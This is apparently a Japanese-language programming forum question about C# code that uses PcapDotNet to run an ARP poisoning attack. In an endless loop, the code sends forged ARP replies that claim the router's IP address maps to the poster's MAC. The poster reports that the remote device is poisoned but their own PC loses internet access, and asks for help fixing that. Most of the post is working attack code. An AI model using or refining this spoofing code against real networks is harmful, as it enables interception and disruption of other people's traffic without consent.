次のコードで PcapDotNet を使用して ARP ポイズン パケットを作成しています。
using (PacketCommunicator communicator =
selectedDevice.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000))
{
while (true)
{
Packet arp;
EthernetLayer ethernetLayer = new EthernetLayer
{
Source = new MacAddress("f8:d1:11:05:8c:91"), // My Mac
Destination = new MacAddress("5c:da:d4:29:6d:5f"), // Remote device IP
EtherType = EthernetType.None, // Will be filled automatically.
};
ArpLayer arpLayer = new ArpLayer
{
ProtocolType = EthernetType.IpV4,
Operation = ArpOperation.Reply,
SenderHardwareAddress = new byte[] { 0xf8, 0xd1, 0x11, 0x05, 0x8c, 0x91 }.AsReadOnly(), // My MAC
SenderProtocolAddress = new byte[] { 192, 168, 1, 254 }.AsReadOnly(), // My Router IP
TargetHardwareAddress = new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }.AsReadOnly(),
TargetProtocolAddress = new byte[] { 0, 0, 0, 0 }.AsReadOnly(),
};
PacketBuilder builder = new PacketBuilder(ethernetLayer, arpLayer);
arp = builder.Build(DateTime.Now);
communicator.SendPacket(arp);
System.Threading.Thread.Sleep(500);
}
}
問題は、リモート デバイスを汚染することはできますが、自分の PC でもインターネットを失ってしまうことです (自分自身への汚染ですか?)。おそらく問題は、自分のシステムが送信したパケットを読み取らないようにすることを(何らかの方法で)示さなければならないことだと思います...しかし、方法がわかりません....誰かがここで何が問題なのか説明できますか?